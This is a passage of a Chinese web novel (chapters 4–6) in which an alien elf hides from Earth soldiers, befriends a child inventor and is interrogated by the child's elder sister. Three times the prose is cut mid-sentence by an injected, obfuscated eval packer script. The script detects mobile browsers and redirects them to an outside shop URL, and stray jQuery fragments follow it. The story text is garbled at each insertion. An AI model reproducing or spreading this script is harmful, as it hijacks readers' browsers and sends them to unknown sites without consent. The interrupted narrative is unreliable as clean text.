有些时候,过于与众不同也不见得是什么好事,要不然也不会这么快就被发现了。 “这么多人的眼皮子底下能跑一个!丢人不!不找回来今晚所有人二十公里!”程韩的视线从浮屏上移开,在一众人脸上快速扫过。 端戊走到刚刚紫色妙脆角坐的位置,伸手摸上去:“离开不会超过三分钟,应该不会跑多远。” 看得出来,这如果找不回来,火爆的程韩能原地爆炸,也不知道晚上的二十公里算上他自己不,毕竟这也包括他的眼皮子。 端戊很不明白,紫色妙脆角跑什么?地球善待俘虏、救助弱星的名声没有传到朝暮星吗?那得多闭塞啊! CEDF计算了小精灵可跑出的方圆范围,开启了红外热感追踪。 与此同时,整个基地进行地毯式搜索,在空无一物的灰色空旷地面上,是没有多少藏身之处的,按理说,可以一目了然。 然而,无任何精灵的踪迹。 五人一队的CEDF不由有些慌了:“凭空消失了不可能的,难不成遁地了?” 康屿安的妙脆角下意识惊颤,就好像自己已经暴露了。 “她是精灵,又不是机器人,说上天就上天,说入地就入地啊!”也有士兵明显不认同。 康屿安用力的点点头,又抗拒地晃动着妙脆角:看不起谁呢? “都已经到地球了,就说明安全了,她跑什么跑嘛!我有种强烈的预感,晚上这二十公里必跑无疑。唉!” 康屿安善良地自我谴责了一下:兵小哥,我也是有难言之隐的,我不能被遣送。 “你们说,她是不是真的遁地了,你们看,这有排水通道,可是井盖是锁着的啊!”阳光大男孩在水泥灰的斜坡上,摆弄着锈迹斑斑的铜锁。 有些年头了,还这么古老。 “你那双眼睛可以开锁啊?还不快去喊CECD过来破拆?” 遁地的康屿安紧靠着湿冷的墙壁,一对浅紫耳朵背到了脑后:完了! 4. 第 4 章 蓝色制服的CECD(地球灾害消防稳控局)以脚踩风火轮的速度抵达现场。 “别急,这种井盖很容易打开的,三分钟。”阳光大男孩拿出近距破拆工具,胸有成竹的嗡嗡启动了。 银光乍现,火花四溅。 听见近在耳边的光钻、光锯的声音,康屿安的妙脆角瑟瑟发抖,内心拉锯似的挣扎。 听说坦白从宽的,我要不要主动点? 要?还是不要? “哐!”一把锈迹斑斑的大锁,掉在了康屿安的面前。 “两分三十五秒,刷新新记录!”大男孩的声音异常兴奋。 “咣!”那扇破旧又结实的铁栏门被推开了。 啊……不要啊! 纸片人康屿安毫无防备的踩翻了什么,直直的掉下去,失控下落时,她看到自己刚踩翻的那处竟又恢复了原样。 康屿安以为掉进垃圾桶后,桶盖又自动闭合了。 落地后,惊魂未定的抖动“妙脆角”四处张望,这,不是垃圾桶。 康屿安像是落入陷阱的幼鹿,惊恐的捂住胸口,抬头看自己来时的洞。 那块刚停止晃动的盖子,是一块紧贴着墙体、与墙体同一颜色的碳纤维板,大概有两掌宽。 若不是她身形薄如纸片,还紧贴着墙壁,大概也是掉不下来的。 看周边秩序摆放的空架子,康屿安猜测这是一个搬空了的仓库,也许,大概是地球的地下城生活区吧? 很快便听到嘈杂的脚步声,在头顶走过来、又走过去的。 “没藏在这。” “怎么会没有?地面上也没找到,能够躲开红外热感追踪,只可能是在地下的防御区域。” “完了,晚上的二十公里跑不掉了,小耳朵飞上天了?” 嘈杂声渐行渐远,康屿安像平日里妈妈安抚她一样,摸着自己的妙脆角,嘟起嘴忿忿的吐槽。 “真是瞧得起我,又能上天又能遁地的!找不到就说找不到的,谣言都是这么来的!” “他们是在找你吧?”一个又奶又熟的声音,在康屿安的身后炸开。 炸的康屿安妙脆角都背到了脑后,像是被拍了一巴掌的鹿崽子,慌张地跳到一边转过身来。 康屿安看见一个皮肤奶白、瞳孔漆黑,一副小大人表情的小女孩,一脸审视的看着她,手上还打着乱七八糟的手语。 小女孩的脚下放着一副抽拉式的小扶梯,看这样子,如果不是遇上康屿安,她这会儿已经爬上去了。 康屿安的耳朵顿时就放松了:我是影响小姑娘做坏事了吗? 同时,也意识到刚刚那个开合式隐形门是眼前小姑娘的杰作,康屿安略显得吃惊,甚至忘记了危险,看着小姑娘,手指向天花板。 “这个,是你弄出来的?” 没想到这个小精灵竟然可以用地球语言和自己沟通,冷小孩顿时觉得自己刚刚比划手语的样子有点蠢。 也许是看到康屿安紫眸里的真诚,竟然毫不介意的认真地回答了:“设计图纸是我出的,活是它干的。” 冷小孩指向身后,顺着她的手指康屿安看到了一只精致小巧的机械马? 不同于常见的机械类,它是奶白色的,眼睛闪烁着雾漫蓝的光,居然还会眨眼,看起来灵气又生动。 “那你也很厉害,我都没发现呢,而且还有缓冲,谢谢你!”康屿安是真的觉得小姑娘比很多大人都能干,感谢的话也是从肺腑里冲出来的。 “这些都是我姐教我的,银河也是姐姐送给我的。”冷小孩好奇地看着康屿安的妙脆角,她也想摸摸。 也只是想想,她知道那样很唐突,如果有陌生人要摸她的鼻子,她会很生气的。 “那你姐姐也很厉害的……”康屿安对这个有趣的冷小孩举起了大拇指,看到小孩笑了,右边缺失了一颗小虎牙。 冷小孩的姐姐会不会也有这样的小虎牙? “端砚!你是不是在里面?”门外一个焦急更甚于严厉的声音,打断了康屿安。 “是我妈妈,你去那边的架子后面。”冷小孩热乎乎的小手推在康屿安略有些硌手的后背上。 顺着小胖手指引的力度,康屿安看到了一排空架子,快步跑过去,刚好够纸片人侧身挤进去的。 端砚看到康屿安藏好了,迎着声音跑过去,还未跑到门口,厚重的银灰大门已经被推开了。 “又不听话,说了多少遍了,不要离地面那么近!” “啪!”这个声音康屿安熟悉,Q弹的清脆,必是拍在了小屁股上。 “我想看看姐姐……”听到端砚略显委屈的声音,康屿安用她水瓶座的脑洞,自动脑补出了一个嘟嘴鼓腮的肉包子。 “今早上没和你姐一起吃早餐啊?你姐有说晚上不回来吃饭吗?少拿你姐当借口!”端砚妈妈声线拔高的拆穿了端砚。 “妈妈,我已经长大了,不要再拎我的耳朵了!”端砚把自己鼓成了河豚。 康屿安娇俏的小鼻子顿时酸了,她想起了自己的妈妈,虽然妈妈不会这样子扭自己的耳朵…… 端砚很义气的用耳朵拉着妈妈离开库房,尽管两个人第一次见面,似乎也不是那么熟悉。当然,也不仅仅因为对方独具慧眼。 一个背影、一个模糊的画面,端砚就知道,与这个精灵之间的拉扯很是不简单呢。 康屿安淡紫的妙脆角微微垂下,爸爸妈妈还好吗?她不敢想,他们现在是什么样子的。 “那也要等你真的长大了,而不是现在这个样子!” 康屿安八卦的竖起妙脆角:这话是什么意思? “反正,我不是小孩子!” “……” 端砚和妈妈走远了,康屿安即便是支棱起妙脆角,也没听到端砚妈妈到底说了什么,到底是怎么回事? 耳朵微动,外面听不到任何声音了,康屿安一点点从柜子后面挪蹭着出来。 银灰色多元钢门紧闭着,这里更像是被搬空的图书馆,整个库房和康屿安的心一样空旷。 很快,康屿安的心就不空了,甚至整个库房都不空了,她觉得哪哪都是人,站满了她看不见的人。 空气里的温度骤降,耳边阴风恻恻,虽然看不到人影,手脚却被无形的力量束缚住动弹不得了。 她有看过星译版的聊斋,还越狱看过僵尸先生,她绝对是一个有敬畏之心的小精灵。 康屿安察觉到头顶有悉悉索索的声音,整个身体更加僵硬了,耳朵更是僵硬的动弹不得一点。 是阿飘还是阿僵? 听起来动作很灵活,康屿安猜测是阿飘,这么传奇的东西,竟然是真实存在的,地球人的嘴是真严啊!她一直都是当故事听的呢。 右脚断趾的伤口更疼了,太吓人了:爸爸!妈妈! 她听见阿飘落地了,甚至能感觉到逼近的温度,传说也不全然是真的,有脚步声,有温度。 “咯噔咯噔咯噔……砰!” 还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17848824|211773||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 未来得及判断突如其来的怪声,康屿安就一屁股坐在了铁马上,颠哒颠哒的就被带走了。 “啊……!”没跑出多远,康屿安便摆脱了冰冷感和束缚感。 “喂!”身后传来阿飘的声音,像是手指拂过琴弦又迅速被压住了,空灵清冷。 沿着一条灰白的路,康屿安被带着狂奔了没多久,康屿安就看到了路两边灰色的临时房屋,头顶是灰色弧形的顶盖,灰色系的地下城冰冷而整洁,而小铁马丝毫没有停下来的意思。 “小马,你要带我去哪里?”康屿安略微挪动一下屁股,让自己坐的更稳些。 “叫谁小马呢!它是狗子,叫银河。” 在康屿安身后晃动的小尾巴,啪的开出一朵花,从花朵里传出端砚的声音。 “抱歉哦,银河要带我去哪里?”康屿安拉起裙摆,看到了一对奶白色金属耳朵。 这,还真的分不清,是狗子还是马儿。 “今天首批志愿者要先回到地面,你可以和我们一起离开地下城。” “你不怕我是坏人?你知道的,追我的人是你们的军队。”康屿安想到了刚见到的漆黑眼睛,还是忍不住提醒。 她可不希望小姑娘的善良,将来会被坏人利用。 “你是把我成呆瓜了吗?我有自己的判断力,而且,是有依据的。”明明是奶糯的声音,语气里却是小大人般的不容置疑。 “地球上真的有阿飘的?”康屿安惊魂未定的问,刚刚真的是被吓到了。 “怎么可能?若是有,也是外星球来的。”小奶音顿时咬牙切齿起来。 康屿安口中的飘,和端砚口中的飘,可不是同一个飘。 有一搭没一搭的,银河已经带着康屿安跑出很远了,两旁已经看不到灰色临时房,远远的可以看到三排有序的队伍。 一排是热热闹闹的人群,一排是银绿色的车队,还有一排是各色各异的私家车。 “银河,放下她回来吧,快排到我们了。”银河小尾巴上的花朵传音器又晃了晃。 银河听话的停下,康屿安抱着群摆下来后打量着它,嘴角险些没压住。 还真是个包罗万象的银河,说它是狗子没有毛病,但若说它是马儿,也说得过去,甚至强说它是兔子,也勉强可以。 似乎是察觉到康屿安戏谑的目光,银河明显不悦的摇晃着身体,转身要走了。 嘿!还有情绪呢?康屿安把一双紫葡萄瞪的圆圆的,这种深度的机械品,在朝暮星是没有的。 “等一下,我的耳朵和眼睛,和你们不同,我是不是过不去的啊?”康屿安看了那么久银河的耳朵,终于想起来自己的耳朵了。 “过不去的不是你长成这样,而是长成这样的你,还没有证件,银河你把……”端砚顿住了。 姐姐现在是公务人员,自己惹祸可不能连累她。 “银河,把化形喷雾给她吧,真舍不得给你,这可不是黑市的三无药品,是我姐给我的。” 这是康屿安今天第二次听她说起姐姐,不觉心生好奇:“你姐姐?是做什么的?” “我姐姐……”只要提到端戊,端砚必是滔滔不绝的,那是她打小的样板。端砚刚准备晒姐,就被打断了。 “前面的紫耳朵!站住!”康屿安再次听到了阿飘的声音。 阴魂不散啊,虽不算光天化日,但至少是众目睽睽吧,阿飘猖獗了点吧? 康屿安迟疑着转身回眸,顺着声音的方向望去。 5. 第 5 章 康屿安快速眨眼,也没能阻挡飞奔的身影挤进她的紫瞳:好吧,就是奔着她而来的。 黑色挺阔机车皮衣、黑色工装裤,把过肩的棕色碎发奔跑成肆意飞扬的水藻,下颌线雕刻到完美,皮肤白得发光。 目标人物康屿安,像被点了穴似的呆愣在原地,忘记逃跑了。 脑子里想的都是些和此情此景不相干的事:地球上的军警竟然是这样的?比朝暮星演艺圈的高颜还要高颜? 着陆地球的康屿安也算是接上了地气,原本是不吃颜值的,毕竟她在这方面是吃细糠长大的,自小身边的叔叔阿姨们,都是站在颜值天花板上的。 可是看到远远奔过来的端戊,康屿安双唇微启:眼前的糠,这是细成粉末了啊! 眼见着粉末细糠就要到眼前了,却被一道鹅黄色身影挡住了,笋尖似的小手紧紧拉住端戊的衣襟。 “姐,你要把她抓到哪去?”声音软糯到能化人心。 这一家人,看着都这么好吃的吗?康屿安被自己这个妖孽念头惊到了。 她总是感觉端砚这个糯米团子的身体里,住着一个和自己差不多的灵魂。 “不会把她怎么样,从哪来的,遣送回哪里去。”端戊一根根掰开端砚的小手指。 康屿安的心跟着端戊的动作揪成了一团,真怕那样白嫩青葱的手指被掰断了。 “不要!” “不要!” 康屿安和端砚的声音叠到了一起,神同步地咬紧牙齿地拒绝。 “你俩说不要就不要吗?” 端戊先是困惑地看向端砚,她从小就懂事得像小大人一般,做事有理有据的。转目又看向了康屿安,你俩才是亲姐妹吧? “姐……”端砚用惯有的撒娇技能,打消了端戊刚刚的臆想。 虽然不明所以,但是端砚知道她必须留下康屿安。 她讨厌自己意识里突然出现的那些零星画面,她不知道从何传递而来,为何能够自动接收,还这么的细碎不连贯。 连自己都不那么确定的事,怎么和别人说? “别胡闹,回家去。”端戊拎起端砚的后领子,把她挪到了一边。 “我现在是志愿者,今天要回到地面上的。”端砚微抬起下颌,像是清晨第一朵转向太阳的向日葵一样傲娇倔强。 与此同时,康屿安已经被声控解穴,不动声色地支棱起耳朵慢慢向后挪动,蓄势待跑。 端戊余光瞥见康屿安的小动作,暗觉好笑:这是拿自己当鹿鹿还是兔兔了?就算再长出两只腿,你也是跑不掉的。 “那就快点过去,排队去,别在这影响公务!”察觉到康屿安已经打算跑了,端戊把端砚推向一边。 端戊如捕猎的雪豹看向康屿安,意外地发现她竟没有转身跑,反而是朝着端戊跑过来了。 “我勒个乖,这是吓傻了吗?”端砚被康屿安的逆向操.作.惊得目瞪口呆。 只看到康屿安忽闪着紫耳朵一溜烟的跑到端戊面前,紫眸闪烁着晶莹的光,与端戊眼中的清冷讶色对视上数秒后,猝不及防的滑坐在地上抱住了她的小腿。 “不要送我回去……”明明是乞求,听在端戊的耳中却像是猫咪在命令自己的铲屎官。 “按规定……喂!”端戊承认自己被她的动作迷惑、继而大意了。 待她发现情况不对劲时,自己那个吃里扒外的妹妹已经拉住康屿安跑向人群密集处了。 而一条淡灰色的蕾丝发带,明晃晃的绑在端戊的两个脚踝上。 这是精灵吗?明明就是骗人的小妖精! 端戊应该是生气的,可是她只觉得好笑,嘴角微扬,也许是被气笑的。 “别跑!”看着跑远的两个小东西,端戊战略性的喝斥,手上快速的想要解开蕾丝发带。 小妖精竟然还打了个结实的死结,端戊只好抽出匕首割断后,很自然的把发带和匕首一起收好。 抬头寻找,紫耳朵和小团子已经消失在了人群里。 “端砚!我才是你亲姐!”刚刚蓄势的猎豹,这会儿变成了被蒸熟的虾,一脸生无可恋的看向站成排看戏的内勤机器人们。 内勤机器人在未接到指令时,通常不会有太多的主动行为,它们很自觉的把自己放在了观众席上,而她现在无外勤机器人可用。 端戊不敢想,自己未来将要过上什么样的日子。 眼下,只能紧跟着扎进了接踵的人群,一个个的仔细辨认,却没看到那对紫色耳朵。 无奈只好闭上眼睛检查自己控境的冷却时间,勉强可用,意识启动。 半蹲在人群里,正慢慢向前挪动的康屿安突然停滞不前,拉住了小虫一样向前蛄蛹的端砚。 “等一下……”康屿安白透的鹅蛋脸融成了剔透的红酒。 “你,这是怎么了?”端砚转过来满脸的小问号。 “我膝盖以下动弹不了,而且,而且还有一双冰凉的手,托着我的屁股。”康屿安双臂环膝,羞赧的眨眼,看着像是落入陷阱逮捕的小羔羊。 端砚瞬间明白了是端戊启动了控境,而且还失误偏离了。 知道是怎么个事,也不能如实和康屿安说,不然,吃里扒外的性质就转变为小间谍了。 “你要不要试着不搭理你的大脑,让身体的各部位自己管自己试试呢?” “这样也行?”陷阱里的羊羔子不明所以,从前叛逆的都是大脑,怎么,这次换肢体了? “哎呀,你和大脑断联嘛,用你的双手挪动你的手!”端砚费劲的引导着,鼻翼上渗出了汗珠。 康屿安只有眼珠和汗珠在滚动,全身却更僵硬了,任谁莫名的坐在看不见的手上时,也都不能当自己只是坐在了椅子上吧。 “你这个小丫头,怕是个小狐狸吧?”头顶上突然传来一个痞痞的声音。 “咱俩谁是小丫头还不好说呢?”端砚缓缓抬起头,想看看是谁口气这么大。 眼前站着一个头上顶着中分天然泰迪卷,长得像峰不二子的女生,一脸戏弄的俯视着她。 “嘿!小朋友你是认真的吗?”泰迪卷的声音像是接通了电流。 这一声小朋友,彻底点燃了小炮仗。 “喊谁小朋友呢?!”端砚猛地从地上站起来,然而,似乎也并没有高出多少,还是要仰起头瞪着泰迪卷。 “哈哈哈!好,小姐姐……那么,小姐姐对你的小伙伴是否不够真诚呢?”看着还没自己胳肢窝高的端砚,泰迪卷没控制住电酥酥的笑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17848825|211773||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 声。 闻言,康屿安眼底蒙上了一层雾的看向端砚,看得她竟有些心虚。 “你别听她胡说八道,我没有想骗你!”端砚拍拍康屿安的后背,碰触到覆盖在她身上的灰色卷发,竟然软软弹弹的。 端砚想起自己这一头马鬃般倔强的黑发,每天早上绑个马尾都要和头发干上一架。 “哦!”康屿安并未怀疑端砚,也没有质疑泰迪卷,而是把视线从端砚的脸上转移到了那张亦正亦邪的脸上。 “你凭什么说她不真诚?”康屿安用质问的语气,提出了自己心底的疑问。 天然卷的右侧嘴角更弯了一些:原来也不是个傻白甜嘛。 “小狐狸的小脑瓜转得还真是不慢,我明明说你不真诚,你反驳的好像是不欺骗啊?小姐姐,你在混淆概念哦!”天然卷磁性的电流音,让说出的话,都更具有杀伤力。 端砚圆乎乎的脸,涨红了看向康屿安。看在天然卷的眼里,是一个红苹果和一杯红酒的对视。 康屿安也明白了是怎么一回事,不甚在意地对着端砚笑:谁还没有自己不能说的秘密呢。 只是禁锢在屁股上的一双手,她不得不在意,既然泰迪卷看得出,也应该是可以解决的吧。 “还请……”康屿安话还未说出口,泰迪卷已经从脖子上摘了条银链下来。 银链上挂着一把既像镰刀,又像斧子的挂坠,泰迪卷拎着银链把挂坠在康屿安的眼前晃动了四五下,竟然真的感觉不到屁股上的手了。 康屿安缓缓地站起来,把手盖在自己的小屁股上,活动着膝盖,脸上的红温渐渐褪去,只留下桃红。 “是你姐姐干的吧?”康屿安的声音里听不出喜怒,即便是生气了,也只能让人觉得声音也是好听的。 “其实,不是你想的那样,她不是故意的,不小心丢技术了、就丢了人了,单纯就是轨迹偏离了。” 端砚当然了解端戊,这若是让她知道自己干了什么,怕是无颜面对她的“任务目标”了。 可是,也要康屿安相信才行啊。 “哈哈哈!那你姐偏得够准的。”不知道康屿安信了没有,一旁的泰迪卷显然是不信的。 “谢谢你!”听到泰迪卷说话,康屿安才想到还没向人道谢。 “我谢谢你啊!”端砚睥睨着泰迪卷,她甚至怀疑这货还真的就是泰迪成精了。 若说原本康屿安还有五分相信,这会儿怕是只剩下两分了。 “别客气,我也是看不惯某些不务正业的人,用一些歪门邪道的手段戏弄人家小姑娘,嗯我这可称为侠气,所以不用客气。”泰迪卷挑衅地看着端砚,似乎就是为了激怒她。 “仅凭一点碎片化信息,就以为自己什么都知道的人,真是越来越多了呢,是在地下城待得太久,闲出毛病了吧?究竟谁不务正业?谁只会些歪门邪道?小姑娘们心里门清着呢。”小炮仗果然一点就着。 从小到大,端戊在端砚心里都是偶像一样的存在,如果是她自己被骂了,她大多不会放在心上,计较不计较的大多看心情。 可若有人骂端戊被她听见,小炮仗是有过咬人史的,康屿安和泰迪卷都没有察觉到,端砚已经磨着牙,踮着小碎步朝着泰迪卷挪过去了。 6. 第 6 章 往往细微的动作或习惯,不太容易被其他人察觉。 即便是你走在街上摔了一跤或撞在了门上,对于路过看热闹的人来说,从你身边走过也就忘记了。 你看,芸芸人潮中,没有什么人会格外注意一个陌生人。 但是熟悉的人就不一样了,更何况是看着端砚长大的人,端戊心如明镜似的在一旁看热闹。 直到端砚已经站在泰迪卷身后,呲出了两侧的小虎牙,端戊才对机器人辅警下达指令。 泰迪卷被冷不防扑上来的机器人控制住了才察觉,原本接踵的队伍不知道什么时候已经被疏散了。 虽然不远处那个拽拽的家伙她并不认识,可是这些机器人身上的执法标志她还是认识的。 “姐!”端砚收回小獠牙、亮出杀手锏,逃无可逃时好在还有亲情在。 “你们是一伙儿的?钓鱼执法?”泰迪卷一副恍然大悟的样子开始抖小机灵。 “想的还挺多!你只是个插曲!”不知出于何种原因,端戊看着泰迪卷的时候,眼神像是淬了毒一样,不那么友好。 她对女生还不曾这样苛刻、不包容过呢。 同时感受到幽怨的视线,端戊寻着视线看过去。原本还绷紧的脸,这会儿险些绷不住了。 又来这一出?心思倒是挺多,可惜了心眼不多,你觉得我还会上当是吗? 康屿安步履漂浮像是踩在了棉花上,手上却很大力地拖着机器人,泫然欲泣地走向端戊。 端戊防备向后退了一步:又耍小聪明?你以为改走着过来的就会让我上当吗? 康屿安看出端戊的躲闪,还有两步距离的时候她识趣的停了下来:你当我傻子啊!一个法子连续用? 人家还真就拿你当小傻子看呢! “姐姐,我是无害的,你就睁一只眼闭一只眼,放我过去吧。我保证不会影响到地球上的人类。”康屿安眨巴着紫色鹿眼,向端戊展示着眼中的星辰大海。 声音的确无害,甚至带着些通透松软的治愈感。 “有说过会重罚你吗?”精准的地球语言让端戊略感惊讶,迅速回忆自己在飞船里说过什么话,能让她铤而走险的要逃跑。 “可是,你也没说要放过我啊!”康屿安从小鹿眼里挤出两滴泪,唉,怎么就没继承妈妈的收放自如,流量大小开合有度呢? 专业的事,还是得专业的人做,哭的有点牵强了。 事实上,在对方眼里她是个会魔法的、耳朵可以蛊惑人心的小精灵。端戊把视线从康屿安的身上转移到泰迪卷身上。 这个小动作不小心戳到康屿安的敏锐:哭得这么没眼看吗? “先回局里做笔录,就算是去斯洛鄂星,也是要走流程的。” 康屿安听到去斯洛鄂星有戏,那么走流程就走流程吧,于是配合的任由机器人拉着上车。 “为什么我也要被带回去?我犯了什么事?关我什么事?”泰迪卷不服气地梗着脖子嚷嚷。 “妨碍公务。”端戊眼神都懒得给她一个,依然找个了理由把她带回去。 端戊虽然对这个人不是很有好感,却对她能破解控境很感兴趣。 “那她呢!”泰迪卷做出最后挣扎指向端砚,想要拖她垫背。 “她?那罚得可就厉害了,想必你是不想和她一样的。”端戊走过去拎起来端砚的后脖领,直接提溜到车上。 眼见着端砚的小布鞋被拖拽的都快掉下来了,泰迪卷眼中犹疑渐淡,最后竟一丝也不剩了。 端戊确实没骗她,端家姐妹和别人家的孩子不一样,从小捅的娄子都离天近得很,端妈妈只能棍棒讲道理。 她俩现在看到木棍都会应激,甚至吃面包都不会吃法棍的,然而她俩似乎只记得从小挨过多少打,并不太不记得自己闯下多少祸。 把康屿安和泰迪卷分别送进第一审讯室和第二审讯室后,端戊未做迟疑的走向第一审讯室。 端戊之前是来过几次清异局的,倒不是很陌生,但是审讯室确实是第一次来,她没有直接走进去,而是先到隔壁房间,隔着玻璃窗打量审讯室的环境,以及,被审讯的人。 她给自己的理由是,知己知彼之前,定是要先了解环境的,她只是先熟悉熟悉战场。 审讯室简单到一目了然,一扇门,三处换气壁,没有窗。 康屿安端坐在银白色房间正中间的一把平平无奇的黑色椅子。 面上没什么波澜,只是平静的打量着空荡荡的审讯室。确实没什么可看的,换气系统都是镶嵌在墙壁上的,除了必要的桌椅,并不需要其他物件了。 天丝纱的雾霾蓝连衣裙看不出脏污,裙摆略显皱巴,显然她是不习惯的,不停的在抚弄裙摆的褶皱。 左脚始终是翘起来不肯落地,刚刚回来时走路微坡,是受伤了吗? 端戊深吸一口气,看了一眼墙上的挂钟,去隔壁审讯室了,早点审讯结束,大家都早点休息,别耽误下班。 她还不想上班第一天就加班。 康屿安过于专注的沉浸在自己的世界里,端戊推门的声音吓了她一跳,牵扯到了脚上的伤口,蹙起眉忍痛。 说起来,算起控境的那两次,今天两个人也算是接触五次了,端戊还是第一次近距离的好好的端详她。 在白炽灯下,那张几近透明的鹅蛋脸,完全没有毛孔,极大的紫眸在精灵中应该也是少见的吧? 蓝紫的睫羽每次忽闪时,端戊似乎都能感觉到气流涌动,淡紫色耳朵中心,竟然长着一小撮看着就柔软的淡金色绒毛。 “你们地球上的审讯,不是靠问的是靠看的吗?”康屿安被盯到有些不自然,率先提问了。 对方的主动反而让端戊感到意外:怎么一个不留神,还把主动权丢了呢? “你这对耳朵,能做到收起来吗?”比丢了主动权更尴尬的是,心里好奇的那点事儿,竟然脱口问出来。 尽管康屿安觉得地球的审讯略显冒昧,但还是认真的回答了:“可以的,只是我们平时不会那样做,对耳朵不好,容易骨折。” 康屿安在端戊心里的好感度顿时加一,原来化解尴尬这么简单,任何事情认真对待,都不觉得尴尬。 “叫什么名字?”端戊打开审讯设备沉声提问,没再看康屿安了。 “康屿安。”被审讯的人的脸色微沉,不是说回来做个着陆登记,就可以走流程了吗?记录即审讯?地球这么混淆概念的吗? 人在屋檐下不得不低头,康屿安只能不介意的介意着。 “为什么要跑?”端戊终于回到审讯正轨了。 “不想被你们遣送回去。”康屿安垂下双眸,净透的皮肤上印上两把小扇子。 端戊勾起食指摸索着鼻梁:嗯果然!还真是大意了,没想到会有人提前醒,而且还听得懂地球语言。 “有问题解决问题,跑就能解决了吗?”坐直身体,微微提高了音量。 这个看似没多少心眼的小精灵,很懂得隐藏自己呢! “不能,不跑了。”康屿安头更低了些,两根纤细白皙的食指不停的缠绕搅动着。 认错态度极好,好到端戊都有些心软了:刚刚是不是太凶了?说话声音过大了吧? “不用紧张,我带你出去做个着陆登记,那个,你的右脚是不是受伤了?”端戊到一颗心像不小心在太阳下暴晒许久的冰激凌,发现时已经化了。 “没有,没事的。”康屿安依然垂着头。 “嘟……嘟……嘟!” 随着尖锐的警鸣,整个审讯室隐藏的壁灯猛然狂闪,康屿安受到惊吓抬起来的小脸,被闪的一会儿蓝一会绿,看起来又好看又好笑,还有些心酸。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17848826|211773||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' “你坐的那个是测谎椅,你刚刚说谎了。”端戊赶紧关掉连接,那些晃得人眼花的蓝光绿光才总算歇着。 “你是把我当成犯人了吗?你不是说只是做个笔录的吗?”康屿安刚恢复了白透的小脸,瞬间又气的绯红,娇小的身体腾地就椅子上弹起来。 端戊被质问的一愣:“你不是犯人。只有审讯室恢复了监控系统。” 其实,小精灵的脾气不太好的吧? 康屿安起得猛了,头有些晕,脚有点痛,一个趔趄差点摔倒。 端戊手疾眼快的拉着康屿安的手臂,惊讶的发现,手指竟然能扣到了一起:怎么瘦的像难民一样?手臂细的像手腕,朝暮星过得是怎样的日子? 康屿安回头看了一眼拉着自己那只骨节分明的手,鼓着腮使出全力的甩开,蹲在地上双手环上膝盖,把脸埋在腿上开始哭。 “太欺负人了,你们太过分了,说一套做一套的吗?没有人权的吗?” 所有的委屈、惊恐、担忧还有压抑多年的眼泪,在这一刻通通爆发了 “不是为了监控你,是为了监控我、看着我的!并没把你当犯人,不许哭了!” 端戊从没见过谁这样哭过,好像把一辈子都眼泪一次释放了一样。 康屿安没听见一样,肩膀抽搐着继续哭了很久:终于可以无所顾忌的哭出来,心里终于不堵着慌了。 感觉呼吸顺畅了一些后,康屿安才站起来,紫色眼眸蒙上了一层粉,眼圈是晕染的桃红,脸上的绯红透亮透亮的,上面还沾着两处没擦干净的晶莹。 “我们去哪?”浓重的鼻音更显得委屈的像个小可怜了。 “这边这边!”一向有自己小脾气的端局,这会儿完全没了脾气,赶紧过去开门,只想把这个小哭精快点送走。 出了审讯室,端戊放慢了脚步领着康屿安走过一片白色的长廊,进了一个空旷的办公室。 不是办公室里什么都没有,反而一应设备应有尽有,只是所有的办公桌前,没有一个人,只在最里面的一处半人高的岛状环台后,站着两个机器人内勤辅警。 着陆登记的指令是早就输入的,不需要过多吩咐俩辅警就知道自己该干啥,端戊瞥了一眼康屿安的脚,输入了带康屿安去医务室的指令。 已经够可怜了,别再落了残疾。 看着康屿安倔强不肯再看自己一眼的样子,端戊松了一口气,总算可以送走了。 想到自己还有没干完的活,径直走进第二审讯室,坐在了泰迪卷的对面。 泰迪卷早就等的不耐烦了,一头自然卷被她抓成了鸟窝。 “为什么把我关在这里?”泰迪卷自认没犯要命的错误,一副你能把我怎么样的嘴脸,挑衅的看着端戊。 端戊可以惯着哭唧唧的康屿安,又怎么会惯着吊儿郎当的泰迪卷? “正常问话,怎么就成了关着你了?在这等一会儿怎么了!”端戊板起脸,冷冰冰的怼回去了。 泰迪卷嚣张的小火焰就这样被灭下去了一半:“不怎么样,等就等呗,问吧。” “叫什么名字?”端戊连接了审讯系统。 “辛瑙,辛苦的玛瑙。”辛瑙不甚在意的打量着审讯室,把视线定格在侧面的那面墙上。 看着语音录制后自动录制了系统,端戊便闲下来了片刻:新脑子?不怎么样嘛! “你是怎么发现那个女生精神受控的?”看着系统建完档,端戊直奔主题。 “哪个女生?什么精神受控?我不知道你在说什么。”辛瑙秉着没有证据你就不能把我咋地的原则装傻。 端戊歪着嘴角冷笑:新脑子想事情就是简单。 “你是不是以为……” “呜呜呜……” 